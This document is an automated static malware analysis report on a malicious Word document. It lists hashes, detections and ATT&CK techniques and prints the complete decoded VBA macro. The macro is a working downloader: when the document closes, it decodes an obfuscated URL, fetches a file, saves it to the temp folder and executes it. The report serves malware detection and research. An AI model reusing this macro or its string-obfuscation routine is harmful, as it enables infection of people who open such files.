Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 76ec653940a967cf…

MALICIOUS

Office (OLE)

166.5 KB Created: 2016-06-27 13:39:00 Authoring application: Microsoft Office Word First seen: 2018-06-21
MD5: 1253a34708b0f52d2c38f1b4f3a0f635 SHA-1: ccd281417eac356b66c913749e3d795f9d1a8e04 SHA-256: 76ec653940a967cf13741c694b2ba6f1b08b2ba638cbf8966f291201997251a5
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains VBA macros that leverage WScript.Shell and CreateObject to download a file from a deobfuscated URL and save it to the user's temporary directory. The macro attempts to execute this downloaded file, indicating a downloader functionality. The deobfuscated URL is 'hÖÖÓ://ÕÄÅÒdÀlÕÀlvÀdÒÔ.ÒÔg.bÔ/mÂdÄÀ/ÃÒÅÖÕ/ÂhÄÕ.ÂÛÂ' and the saved filename is '\åäáMH.ÂÛÂ'.

Heuristics 8

  • ClamAV: Doc.Downloader.00536d-6923444-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6923444-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    vxeyDLBhqqpuQXfJWVmpskIXQAjlFinAxgtSSuCPrKqOgGgrlDnJtEKGRjxFGQojMNuBTcRxstrwiovLnmCsvmLo = CreateObject("WScript.Shell").Specialfolders(7) + sCllXKlHUjQiTXxmjdvsOlJPLWbpKMVfZDTmGZTJpyyxBngnReetxAsQgYIqtNquISoBobCYWzhykoNoztLIgBZ
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    BqKBsFQzymXzViwevhlLzxrJGdyXdZloDYZjtoRhATniWCLMKPAtAfsrHLNFfumWEGbDIWhBOCoPmlMu = NHZWtPogcoETpdmJEikQkqynScdbgDKRvIHXceVvKCnUWsUYnjRgEFgpBexcASsSeXqYwgqwsEUkrtCZU.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set FTeMMzmNkwKsJvzYNKEWTrMlrnzCQmoxHBfvNiBvlQZZYeOHOtFFVYcTsHAkRUpRVkuPdPCeAybIZLPpPbUnkHdBuqBShCqAXS = CreateObject("Shell.Application")
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# Referenced by macro
    • http://ns.adobe.com/photoshop/1.0/Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://ns.adobe.com/xap/1.0/Referenced by macro
    • http://ns.adobe.com/tiff/1.0/Referenced by macro
    • http://ns.adobe.com/exif/1.0/Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5318 bytes
SHA-256: b4928637ffdd649cfd5404b4cde3e5ec1567521d1e270562b20214b86667b8f4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_close()
Set FTeMMzmNkwKsJvzYNKEWTrMlrnzCQmoxHBfvNiBvlQZZYeOHOtFFVYcTsHAkRUpRVkuPdPCeAybIZLPpPbUnkHdBuqBShCqAXS = CreateObject("Shell.Application")
Set NHZWtPogcoETpdmJEikQkqynScdbgDKRvIHXceVvKCnUWsUYnjRgEFgpBexcASsSeXqYwgqwsEUkrtCZU = CreateObject("microsoft.xmlhttp")
Set ZUyAhnGOEkffejTbiyYXoehYxbFDlZulcpziiHHjrEgzfDUhUSMfcyitzvGXYuvFdJnDjqJQGmhiglWPWBcNdhkbAdIsodxne = CreateObject("adodb.stream")
sCllXKlHUjQiTXxmjdvsOlJPLWbpKMVfZDTmGZTJpyyxBngnReetxAsQgYIqtNquISoBobCYWzhykoNoztLIgBZ = SqXBQxDWfUAvwuzkdkOpbruxpOrVGBqKBsFQzymXzViwevhlLzxrJGdyXdZloDYZjtoRhATniWCLMKPAtAfsrHLNFfu("\åäáMH.ÂÛÂ")
LyCcCNHZWtPogcoETpdmJEikQkqynScdbgDKRvIHXceVvKCnUWsUYnjRgEFgpBexcASsSeXqYwgqwsEUkrtC = SqXBQxDWfUAvwuzkdkOpbruxpOrVGBqKBsFQzymXzViwevhlLzxrJGdyXdZloDYZjtoRhATniWCLMKPAtAfsrHLNFfu("hÖÖÓ://ÕÄÅÒdÀlÕÀlvÀdÒÔ.ÒÔg.bÔ/mÂdÄÀ/ÃÒÅÖÕ/ÂhÄÕ.ÂÛÂ")

vxeyDLBhqqpuQXfJWVmpskIXQAjlFinAxgtSSuCPrKqOgGgrlDnJtEKGRjxFGQojMNuBTcRxstrwiovLnmCsvmLo = CreateObject("WScript.Shell").Specialfolders(7) + sCllXKlHUjQiTXxmjdvsOlJPLWbpKMVfZDTmGZTJpyyxBngnReetxAsQgYIqtNquISoBobCYWzhykoNoztLIgBZ
NHZWtPogcoETpdmJEikQkqynScdbgDKRvIHXceVvKCnUWsUYnjRgEFgpBexcASsSeXqYwgqwsEUkrtCZU.Open "GET", LyCcCNHZWtPogcoETpdmJEikQkqynScdbgDKRvIHXceVvKCnUWsUYnjRgEFgpBexcASsSeXqYwgqwsEUkrtC, False
NHZWtPogcoETpdmJEikQkqynScdbgDKRvIHXceVvKCnUWsUYnjRgEFgpBexcASsSeXqYwgqwsEUkrtCZU.send
BqKBsFQzymXzViwevhlLzxrJGdyXdZloDYZjtoRhATniWCLMKPAtAfsrHLNFfumWEGbDIWhBOCoPmlMu = NHZWtPogcoETpdmJEikQkqynScdbgDKRvIHXceVvKCnUWsUYnjRgEFgpBexcASsSeXqYwgqwsEUkrtCZU.responseBody
If NHZWtPogcoETpdmJEikQkqynScdbgDKRvIHXceVvKCnUWsUYnjRgEFgpBexcASsSeXqYwgqwsEUkrtCZU.Status = 200 Then
ZUyAhnGOEkffejTbiyYXoehYxbFDlZulcpziiHHjrEgzfDUhUSMfcyitzvGXYuvFdJnDjqJQGmhiglWPWBcNdhkbAdIsodxne.Open
ZUyAhnGOEkffejTbiyYXoehYxbFDlZulcpziiHHjrEgzfDUhUSMfcyitzvGXYuvFdJnDjqJQGmhiglWPWBcNdhkbAdIsodxne.Type = 1
ZUyAhnGOEkffejTbiyYXoehYxbFDlZulcpziiHHjrEgzfDUhUSMfcyitzvGXYuvFdJnDjqJQGmhiglWPWBcNdhkbAdIsodxne.Write BqKBsFQzymXzViwevhlLzxrJGdyXdZloDYZjtoRhATniWCLMKPAtAfsrHLNFfumWEGbDIWhBOCoPmlMu
ZUyAhnGOEkffejTbiyYXoehYxbFDlZulcpziiHHjrEgzfDUhUSMfcyitzvGXYuvFdJnDjqJQGmhiglWPWBcNdhkbAdIsodxne.SaveToFile vxeyDLBhqqpuQXfJWVmpskIXQAjlFinAxgtSSuCPrKqOgGgrlDnJtEKGRjxFGQojMNuBTcRxstrwiovLnmCsvmLo, 2
ZUyAhnGOEkffejTbiyYXoehYxbFDlZulcpziiHHjrEgzfDUhUSMfcyitzvGXYuvFdJnDjqJQGmhiglWPWBcNdhkbAdIsodxne.Close
End If
FTeMMzmNkwKsJvzYNKEWTrMlrnzCQmoxHBfvNiBvlQZZYeOHOtFFVYcTsHAkRUpRVkuPdPCeAybIZLPpPbUnkHdBuqBShCqAXS.Open (vxeyDLBhqqpuQXfJWVmpskIXQAjlFinAxgtSSuCPrKqOgGgrlDnJtEKGRjxFGQojMNuBTcRxstrwiovLnmCsvmLo)


End Sub

    Public Function SqXBQxDWfUAvwuzkdkOpbruxpOrVGBqKBsFQzymXzViwevhlLzxrJGdyXdZloDYZjtoRhATniWCLMKPAtAfsrHLNFfu(mWEGbDIWhBOCoPmlMuLyCcCNHZWtPogcoETpdmJEikQkqynScdbgDKRvIHXceVvKCnUWsUYnjRgEFgpBexcASsSeXqYw)
        TRzoIypDNwwjjKSgHcGfwIxuoGDZJUbWizAVXhElOfLRltiNJJHMyrydDpEILDcFkTPEYOFTeMMzmNkwKsJ = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãä娶§Ú¥"
        vzYNKEWTrMlrnzCQmoxHBfvNiBvlQZZYeOHOtFFVYcTsHAkRUpRVkuPdPCeAybIZLPpPbUnkHdBuqBSh = " ¿¡@#$%^&*()_+|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.,-~AàáâãFGHäJKåMNضQR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY"
        For i = 1 To Len(mWEGbDIWhBOCoPmlMuLyCcCNHZWtPogcoETpdmJEikQkqynScdbgDKRvIHXceVvKCnUWsUYnjRgEFgpBexcASsSeXqYw)
            CqAXSvxeyDLBhqqpuQXfJWVmpskIXQAjlFinAxgtSSuCPrKqOgGgrlDnJtEKGRjxFGQojMNuBTcRxstrwiovLnm = InStr(TRzoIypDNwwjjKSgHcGfwIxuoGDZJUbWizAVXhElOfLRltiNJJHMyrydDpEILDcFkTPEYOFTeMMzmNkwKsJ, Mid(mWEGbDIWhBOCoPmlMuLyCcCNHZWtPogcoETpdmJEikQkqynScdbgDKRvIHXceVvKCnUWsUYnjRgEFgpBexcASsSeXqYw, i, 1))
            If CqAXSvxeyDLBhqqpuQXfJWVmpskIXQAjlFinAxgtSSuCPrKqOgGgrlDnJtEKGRjxFGQojMNuBTcRxstrwiovLnm > 0 Then
                CsvmLoTRzoIypDNwwjjKSgHcGfwIxuoGDZJUbWizAVXhElOfLRltiNJwuzkdkOpbruxpOrVGBqKBsFQzymXzViwe = Mid(vzYNKEWTrMlrnzCQmoxHBfvNiBvlQZZYeOHOtFFVYcTsHAkRUpRVkuPdPCeAybIZLPpPbUnkHdBuqBSh, CqAXSvxeyDLBhqqpuQXfJWVmpskIXQAjlFinAxgtSSuCPrKqOgGgrlDnJtEKGRjxFGQojMNuBTcRxstrwiovLnm, 1)
                vhlLzxrJGdyXdZloDYZjtoRhATniWCLMKPAtAfsrHLNFfumWEGbDIWhBOCoPmlMuLyCcCNHZWtPogcoETpdmJEi = vhlLzxrJGdyXdZloDYZjtoRhATniWCLMKPAtAfsrHLNFfumWEGbDIWhBOCoPmlMuLyCcCNHZWtPogcoETpdmJEi + CsvmLoTRzoIypDNwwjjKSgHcGfwIxuoGDZJUbWizAVXhElOfLRltiNJwuzkdkOpbruxpOrVGBqKBsFQzymXzViwe
            Else
                vhlLzxrJGdyXdZloDYZjtoRhATniWCLMKPAtAfsrHLNFfumWEGbDIWhBOCoPmlMuLyCcCNHZWtPogcoETpdmJEi = vhlLzxrJGdyXdZloDYZjtoRhATniWCLMKPAtAfsrHLNFfumWEGbDIWhBOCoPmlMuLyCcCNHZWtPogcoETpdmJEi + Mid(mWEGbDIWhBOCoPmlMuLyCcCNHZWtPogcoETpdmJEikQkqynScdbgDKRvIHXceVvKCnUWsUYnjRgEFgpBexcASsSeXqYw, i, 1)
            End If
        Next
        SqXBQxDWfUAvwuzkdkOpbruxpOrVGBqKBsFQzymXzViwevhlLzxrJGdyXdZloDYZjtoRhATniWCLMKPAtAfsrHLNFfu = vhlLzxrJGdyXdZloDYZjtoRhATniWCLMKPAtAfsrHLNFfumWEGbDIWhBOCoPmlMuLyCcCNHZWtPogcoETpdmJEi
    End Function

Attribute VB_Name = "NewMacros"
Sub ehis()
'
' ehis Macro
'
'

End Sub